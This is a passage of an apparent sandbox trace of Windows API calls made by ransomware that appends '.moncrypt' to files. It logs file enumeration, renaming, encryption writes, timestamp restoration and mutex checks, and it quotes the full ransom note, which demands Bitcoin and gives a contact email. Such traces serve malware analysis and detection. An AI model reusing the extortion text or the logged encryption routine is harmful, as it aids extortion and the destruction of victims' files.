lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0050.399] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.399] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.399] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.399] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.moncrypt")) returned 1 [0050.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.402] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.402] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6292 [0050.402] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.402] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.403] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.403] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.404] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.404] GlobalUnlock (hMem=0x440004) returned 0 [0050.404] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.404] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.404] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.404] GlobalUnlock (hMem=0x440004) returned 0 [0050.404] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.404] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.404] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.404] GlobalUnlock (hMem=0x44000c) returned 0 [0050.404] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.404] GlobalUnlock (hMem=0x440004) returned 0 [0050.404] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.404] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.404] GlobalUnlock (hMem=0x440004) returned 0 [0050.404] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.404] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.404] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.404] GlobalUnlock (hMem=0x440004) returned 0 [0050.405] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.405] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.405] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.405] SetFilePointer (in: hFile=0x18c, lDistanceToMove=25234, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6292 [0050.405] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.405] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.405] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.416] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.416] CloseHandle (hObject=0x18c) returned 1 [0050.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.417] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.417] CloseHandle (hObject=0x18c) returned 1 [0050.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.418] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.418] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.418] GlobalUnlock (hMem=0x440004) returned 0 [0050.418] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.418] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.418] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.418] GlobalUnlock (hMem=0x440004) returned 0 [0050.418] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.418] GlobalUnlock (hMem=0x44000c) returned 0 [0050.418] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f48da00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f48da00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f48da00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.418] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.418] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.418] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.419] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.419] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.419] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.419] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.419] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.419] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.419] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.419] CloseHandle (hObject=0x18c) returned 1 [0050.419] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.419] GetLastError () returned 0x12 [0050.419] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.419] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.419] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.419] GlobalUnlock (hMem=0x44000c) returned 0 [0050.419] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.419] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.419] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.420] GlobalUnlock (hMem=0x44000c) returned 0 [0050.420] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.420] GlobalUnlock (hMem=0x440004) returned 0 [0050.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f48da00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f48da00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.420] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.420] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.420] GlobalLock (hMem=0x440004) returned 0x550170 [0050.420] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.420] GlobalUnlock (hMem=0x440004) returned 0 [0050.420] GlobalLock (hMem=0x440004) returned 0x550170 [0050.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.420] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.420] GlobalUnlock (hMem=0x440004) returned 0 [0050.420] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.420] GlobalUnlock (hMem=0x44000c) returned 0 [0050.420] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.420] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f48da00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f48da00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.420] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.420] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.420] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.420] GlobalUnlock (hMem=0x44000c) returned 0 [0050.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.420] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.421] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.421] GlobalUnlock (hMem=0x44000c) returned 0 [0050.421] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.421] GlobalUnlock (hMem=0x440004) returned 0 [0050.421] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.421] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe653, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM.moncrypt", cAlternateFileName="AFTRNO~1.MON")) returned 1 [0050.421] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.421] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.421] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.421] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.421] GlobalUnlock (hMem=0x440004) returned 0 [0050.421] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.421] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.421] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.421] GlobalUnlock (hMem=0x440004) returned 0 [0050.421] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.421] GlobalUnlock (hMem=0x44000c) returned 0 [0050.421] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.421] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0050.421] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.421] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.421] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.421] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.421] GlobalUnlock (hMem=0x44000c) returned 0 [0050.421] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.422] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.422] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.422] GlobalUnlock (hMem=0x44000c) returned 0 [0050.422] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.422] GlobalUnlock (hMem=0x440004) returned 0 [0050.422] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.422] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f48da00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f48da00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f48da00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.422] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.422] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.422] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.422] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.423] GlobalUnlock (hMem=0x440004) returned 0 [0050.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.423] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.423] GlobalUnlock (hMem=0x440004) returned 0 [0050.423] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.423] GlobalUnlock (hMem=0x44000c) returned 0 [0050.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.423] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.423] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.423] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.423] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.423] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.423] GlobalUnlock (hMem=0x44000c) returned 0 [0050.423] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.423] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.423] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.423] GlobalUnlock (hMem=0x44000c) returned 0 [0050.423] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.423] GlobalUnlock (hMem=0x440004) returned 0 [0050.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.423] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6357, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.423] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.423] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.423] GlobalUnlock (hMem=0x440004) returned 0 [0050.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.423] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.424] GlobalHandle (pMem=0x555b78) returned 